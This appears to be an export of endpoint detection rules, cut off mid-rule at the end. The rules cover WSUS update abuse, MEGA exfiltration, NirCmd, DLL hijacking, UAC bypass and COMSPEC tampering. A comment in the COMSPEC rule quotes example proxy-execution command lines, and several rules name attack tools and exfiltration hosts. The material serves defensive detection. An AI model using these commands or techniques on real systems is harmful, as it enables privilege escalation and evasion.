+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nettitude/SharpWSUS",
+    "https://github.com/ThunderGunExpress/Thunder_Woosus",
+    "https://github.com/AlsidOfficial/WSUSpendu",
+    "https://attack.mitre.org/techniques/T1210/"
+  ],
+  "name": "t1210_potential_malicious_update_through_wsus.yml",
+  "content": "title: Possible Malicious Update via WSUS\nid: 1e085ad6-7f93-463c-9238-b75582736135\ndescription: |\n    Detects the installation of updates with an unusual name or associated with malicious tools exploiting WSUS (Windows Server Update Services).\n    Attackers can use WSUS to launch malicious payloads disguised as Windows Updates.\n    This technique can be used for lateral movement.\n    It is recommended to analyze the content of the update package, to investigate the source of the update and to look for signs of malicious actions on the IT's WSUS server.\nreferences:\n    - https://github.com/nettitude/SharpWSUS\n    - https://github.com/ThunderGunExpress/Thunder_Woosus\n    - https://github.com/AlsidOfficial/WSUSpendu\n    - https://attack.mitre.org/techniques/T1210/\ndate: 2022/11/16\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1210\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 19 # Successful update\n        Source: Microsoft-Windows-WindowsUpdateClient\n        updateTitle|contains:\n            - 'SharpWSUS'\n            - 'Probably-legal-update'\n            - 'Bundle update for \\* Windows (from KB2862335)'\n            - 'Bundle Security Update for \\* Windows (from KB2862335)'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1e085ad6-7f93-463c-9238-b75582736135",
+  "rule_name": "Possible Malicious Update via WSUS",
+  "rule_description": "Detects the installation of updates with an unusual name or associated with malicious tools exploiting WSUS (Windows Server Update Services).\nAttackers can use WSUS to launch malicious payloads disguised as Windows Updates.\nThis technique can be used for lateral movement.\nIt is recommended to analyze the content of the update package, to investigate the source of the update and to look for signs of malicious actions on the IT's WSUS server.\n",
+  "rule_creation_date": "2022-11-16",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1210"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1eb11fe6-9630-4058-bdec-67f5cde7cb1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091788Z",
+  "creation_date": "2026-03-23T11:45:34.091790Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091794Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/",
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1567_002_suspicious_url_request_to_mega.yml",
+  "content": "title: Suspicious URL Request to the MEGA API\nid: 1eb11fe6-9630-4058-bdec-67f5cde7cb1a\ndescription: |\n    Detects suspicious URL requests to the file sharing service MEGA.\n    Adversaries can use legitimate sharing services to exfiltrate data or to download malicious files.\n    The BlackByte ransomware is known to use the MEGA API to exfiltrate data via a specific tool named ExByte.\n    It is recommended to investigate the source of these URL requests and analyze the process responsible for accessing MEGA.\n    Additionally, review alerts and try to analyze the downloaded file.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/07/17\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.exfiltration\n    - attack.t1567.002\n    - attack.t1537\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost: 'g.api.mega.co.nz'\n\n    filter_mega:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mega Limited'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1eb11fe6-9630-4058-bdec-67f5cde7cb1a",
+  "rule_name": "Suspicious URL Request to the MEGA API",
+  "rule_description": "Detects suspicious URL requests to the file sharing service MEGA.\nAdversaries can use legitimate sharing services to exfiltrate data or to download malicious files.\nThe BlackByte ransomware is known to use the MEGA API to exfiltrate data via a specific tool named ExByte.\nIt is recommended to investigate the source of these URL requests and analyze the process responsible for accessing MEGA.\nAdditionally, review alerts and try to analyze the downloaded file.\n",
+  "rule_creation_date": "2023-07-17",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1102.002",
+    "attack.t1537",
+    "attack.t1567.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1ecc91f4-bed7-4cec-b236-f7b943f95289",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295810Z",
+  "creation_date": "2026-03-23T11:45:35.295814Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295820Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364101148114944",
+    "https://www.nirsoft.net/utils/nircmd.html",
+    "https://attack.mitre.org/techniques/T1059/"
+  ],
+  "name": "t1059_execution_of_nircmd.yml",
+  "content": "title: NirCmd Execution\nid: 1ecc91f4-bed7-4cec-b236-f7b943f95289\ndescription: |\n    Detects the execution of the NirCmd.\n    NirCmd is a command-line utility allowing users to perform useful tasks, such as updating registry keys, executing commands, updating network configuration, editing files, etc.\n    It can also be used by attackers to execute commands while evading defenses.\n    It is recommended to investigate the actions that were performed by NirCmd as well as NirCmd's execution context to determine its legitimacy.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364101148114944\n    - https://www.nirsoft.net/utils/nircmd.html\n    - https://attack.mitre.org/techniques/T1059/\ndate: 2022/11/03\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.NirCmd\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - OriginalFileName: 'nircmd.exe'\n        - Image|endswith: '\\nircmd.exe'\n\n    selection_path:\n        - Image:\n            - '?:\\nircmd.exe'\n            # AtomicRedTeam\n            - '*\\ExternalPayloads\\nircmd.exe'\n        - Image|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    # This is handled in the rule ad9a4851-d601-4528-a0d2-a3d77b050741\n    filter_suspicious_commandline:\n        CommandLine|contains:\n            - ' elevatecmd '\n            - ' execmd '\n            - ' exec '\n            - ' exec2 '\n            - ' runassystem '\n            - ' service '\n            - ' savescreenshot '\n            - ' savescreenshotfull '\n\n    exclusion_commandline:\n        CommandLine: '*\\nircmd.exe setsysvolume *'\n\n    exclusion_mpladmin:\n        ParentImage|endswith: '\\MPLAdmin.exe'\n\n    # https://www.dicomizer.com/\n    exclusion_modalizer:\n        - CommandLine:\n            - 'nircmd win close ititle OBS'\n            - 'nircmd win close ititle capture'\n            # nircmd convertimages c:\\videocapture\\capture\\*.png .jpg\n            - 'nircmd convertimages ?:\\videocapture\\capture\\\\*'\n            # nircmd win setsize title capture 980 90 390 650\n            - 'nircmd win setsize title capture *'\n        - ParentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\videocapture\\\\*\\\\*.bat'\n\n    exclusion_westerndigital:\n        ParentImage: '?:\\Program Files (x86)\\Western Digital\\Discovery\\Current\\WD Discovery.exe'\n\n    exclusion_medinbox:\n        ParentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\\\*\\Medinbox\\Medinbox.Launcher\\Medinbox.Launcher.bat'\n\n    exclusion_openwhispr:\n        Image|endswith: '\\resources\\bin\\nircmd.exe'\n        ProcessParentProduct: 'OpenWhispr'\n        ProcessParentCompany: 'OpenWhispr Team'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1ecc91f4-bed7-4cec-b236-f7b943f95289",
+  "rule_name": "NirCmd Execution",
+  "rule_description": "Detects the execution of the NirCmd.\nNirCmd is a command-line utility allowing users to perform useful tasks, such as updating registry keys, executing commands, updating network configuration, editing files, etc.\nIt can also be used by attackers to execute commands while evading defenses.\nIt is recommended to investigate the actions that were performed by NirCmd as well as NirCmd's execution context to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1ee1a6bd-bf16-4c3b-b9a0-65061ba1dbdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602126Z",
+  "creation_date": "2026-03-23T11:45:34.602129Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602137Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_setupugc.yml",
+  "content": "title: DLL Hijacking via setupugc.exe\nid: 1ee1a6bd-bf16-4c3b-b9a0-65061ba1dbdc\ndescription: |\n    Detects potential Windows DLL Hijacking via setupugc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'setupugc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\DNSAPI.dll'\n            - '\\mpr.dll'\n            - '\\WDSCORE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1ee1a6bd-bf16-4c3b-b9a0-65061ba1dbdc",
+  "rule_name": "DLL Hijacking via setupugc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via setupugc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1f00e764-5dc8-4df8-a8d7-2e11b24a7e76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080239Z",
+  "creation_date": "2026-03-23T11:45:34.080241Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080245Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/guardicore/monkey/blob/59e7ac34f70536e104d848a1610f07aacf2f012e/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py",
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1216_cmd_comspec_tampering.yml",
+  "content": "title: COMSPEC Tampered via cmd.exe\nid: 1f00e764-5dc8-4df8-a8d7-2e11b24a7e76\ndescription: |\n    Detects a tampering of the COMSPEC environment variable in cmd.exe command-line.\n    This can be used to perform a signed script proxy execution and takeover control of a legitimate script.\n    It is recommended to investigate the binary pointed to by the path in the COMSPEC variable and other actions taken by the parent process to determine whether this action was legitimate.\nreferences:\n    - https://github.com/guardicore/monkey/blob/59e7ac34f70536e104d848a1610f07aacf2f012e/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/01/21\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # C:\\Windows\\system32\\cmd.exe /c set comspec=C:\\Windows\\system32\\T1216_random_executable.exe && cscript C:\\Windows\\System32\\manage-bde.wsf\n    # C:\\Windows\\system32\\cmd.exe /c set comspec=C:\\Windows\\system32\\cmd.exe\n    # $env:comspec=C:\\Windows\\system32\\calc.exe; cscript C:\\Windows\\System32\\manage-bde.wsf\n    selection_1:\n        - Image|endswith: '\\cmd.exe'\n        # Renamed binaries\n        - OriginalFileName: 'Cmd.EXE'\n    selection_2:\n        CommandLine|contains|all:\n            - '/c '\n            - 'set'\n            - ' comspec='\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1f00e764-5dc8-4df8-a8d7-2e11b24a7e76",
+  "rule_name": "COMSPEC Tampered via cmd.exe",
+  "rule_description": "Detects a tampering of the COMSPEC environment variable in cmd.exe command-line.\nThis can be used to perform a signed script proxy execution and takeover control of a legitimate script.\nIt is recommended to investigate the binary pointed to by the path in the COMSPEC variable and other actions taken by the parent process to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1f520703-a22a-4e93-8e0f-30cd3c1272f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074233Z",
+  "creation_date": "2026-03-23T11:45:34.074235Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074239Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME"
+  ],
+  "name": "t1548_002_uac_bypass_credwiz.yml",
+  "content": "title: UAC Bypass Executed via credwiz\nid: 1f520703-a22a-4e93-8e0f-30cd3c1272f1\ndescription: |\n    Detects an UAC bypass via credwiz.exe.\n    This alert triggers on credwiz.exe or oobe.exe loading a netutils.dll which is not signed by Microsoft.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\ndate: 2021/01/06\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_standard_hijack:\n        Image: '?:\\Windows\\System32\\credwiz.exe'\n        ImageLoaded|endswith: '\\netutils.dll'\n\n    selection_renamed_hijack:\n        Image: '?:\\Windows\\System32\\wbem\\oobe.exe'\n        ImageLoaded|endswith: '\\netutils.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1f520703-a22a-4e93-8e0f-30cd3c1272f1",
+  "rule_name": "UAC Bypass Executed via credwiz",
+  "rule_description": "Detects an UAC bypass via credwiz.exe.\nThis alert triggers on credwiz.exe or oobe.exe loading a netutils.dll which is not signed by Microsoft.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-01-06",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1f5a2648-0258-4ffe-93b8-f4aa01a21d2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.615245Z",
+  "creation_date": "2026-03-23T11:45:34.615249Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.615256Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_rasautou_execution_proxy.yml",
+  "content": "title: DLL Loaded via Rasautou.exe\nid: 1f5a2648-0258-4ffe-93b8-f4aa01a21d2c\ndescription: |\n    Detects a malicious use of Rasautou.exe to load an arbitrary DLL file.\n    Adversaries may use specific flags to load and execute arbitrary DLLs within Rasautou.exe and bypass security restrictions.\n    It has to be noted that Microsoft has removed those parameters starting with Windows 10, therefore only older versions are impacted.\n    It is recommended to check for suspicious activity from the executed process and its parents.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Rasautou/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2024/03/18\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rasautou\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'rasdlui.exe'\n        CommandLine|contains|all:\n            - '-d'\n            - '-p'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1f5a2648-0258-4ffe-93b8-f4aa01a21d2c",
+  "rule_name": "DLL Loaded via Rasautou.exe",
+  "rule_description": "Detects a malicious use of Rasautou.exe to load an arbitrary DLL file.\nAdversaries may use specific flags to load and execute arbitrary DLLs within Rasautou.exe and bypass security restrictions.\nIt has to be noted that Microsoft has removed those parameters starting with Windows 10, therefore only older versions are impacted.\nIt is recommended to check for suspicious activity from the executed process and its parents.\n",
+  "rule_creation_date": "2024-03-18",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1f8de2c5-e4de-49b9-8e1e-9753cb9c3f48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619770Z",
+  "creation_date": "2026-03-23T11:45:34.619773Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619777Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_w_macos.yml",
+  "content": "title: Current Logged In Users Discovered via W\nid: 1f8de2c5-e4de-49b9-8e1e-9753cb9c3f48\ndescription: |\n    Detects the execution of the w command.\n    Attackers may use it during the discovery phase of an attack to retrieve the list of users currently logged in and their last action on the system.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/w'\n        ParentImage|contains: '?'\n\n    exclusion_globalprotect:\n        GrandparentImage: '/Applications/GlobalProtect.app/Contents/MacOS/GlobalProtect'\n\n    exclusion_kaspersky:\n        ParentImage: '/Applications/Kaspersky Anti-Virus For 